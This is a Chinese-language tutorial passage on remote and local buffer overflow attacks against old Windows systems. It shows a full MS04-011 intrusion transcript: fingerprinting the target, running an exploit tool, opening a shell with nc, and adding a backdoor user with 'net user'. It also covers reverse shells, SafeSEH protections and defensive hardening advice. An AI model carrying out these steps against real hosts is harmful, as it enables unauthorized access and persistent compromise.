我们来看一下以前比较精典的一个溢出实例ms04011溢出:
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:windowssystem32cd
C:>
C:>getos 2**.159.31.96 (判断操作系统)
----------------------------
THCsmbgetOS v0.1 - gets gro
by Johnny Cyberpunk (
----------------------------
[*] Connecting Port 139....
[*] Sending session request.
[*] Sending negotiation requ
[*] Sending setup account re
[*] Successful....
Remote OS:
----------
WORKGROUP
Windows 2000 LAN Manager
Windows 5.1
C:>
C:>ms04011 1 2**.159.31.96 (溢出格式)
shellcode size 404
Ret value = 1727
C:>
C:>nc 2**.159.31.96 1234 (nc进行连接)
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
D:WINDOWSsystem32> (得到目标机shell)
D:WINDOWSsystem32>net user test test /add
net user test test /add
命令成功完成。 (建立用户)
上面只是简单演示了一下溢出过程,上例是正向溢出,只是直接溢出后用nc进行连接,还可以反向溢出,反向溢出一般用来突破防火墙,先用nc在本机监听一个端口,等待反向溢出的服务器连接过来从而得到一个system权限的shell。对于溢出还有很多,如iis、mso4045、ms04049、ms05039、ms05051、ms06061等还有一些精典的应用程序远程溢出,如未打sp3的mssql远程溢出可以直接得到系统权限。还有imail服务也一样可以通过远程溢出获得系统权限。还有很多病毒如冲击波、震荡波等病毒都是利用的rpc和lsass溢出漏洞,在感染一台机器后又不断的以此机器为节点扫描网络中的其它存在漏洞的机器进行溢出植入病毒程序,这样不断的繁殖下去。
不过在windiws2003下溢出就无用武之地了,因为在2003的保护机制里面还有一个技术是可控的SEH处理函数指针,2003中结构化异常处理例程注册后,它的函数指针会保存在模块中的一个叫Load Configuration Directory的地址列表中,如果函数返回时系统发现堆栈中的Cookie发生了改变,视为溢出,系统就会查看当前线程相关的SEH中是否有相应的处 理函数指针,有的话,系统将该指针与已经注册过函数的地址列表进行对照,如果没有发现匹配的,而且处理函数指针在堆栈中,异常处理函数就不运行。如果该处 理函数指针位于已加载的各个DLL模块地址范围只外,或堆中,处理函数会被执行,这种可控制的异常处理技术就会使传统的覆盖SEH指针的方法失败。虽然可以用已经加载模块以外的地址来覆盖SHE但在远程溢出中仍显得无力。
我们再来看看本地溢出,本地溢出主要用来进行权限提升,前面的serv-u的本地溢出已经注入中讲解了,我们现在再来看一下本地的一个特权提升漏洞,如图:
通过执行本地溢出直接从user用户提升到系统权限。
对溢出攻击的安全防范:
关闭139端口,停掉icp/ip netbios服务。
在本地连接的属性窗口中tcp/ip协议中的高级选项里“禁用tcp/ip上的netbios(s)”因为很多溢出都是利用的这个通道。
安装防火墙是必要的。
打上重要漏洞的补丁(如冲击波补丁、震荡波补丁),并开启系统的自动更新功能。
服务器使用windows2003系统。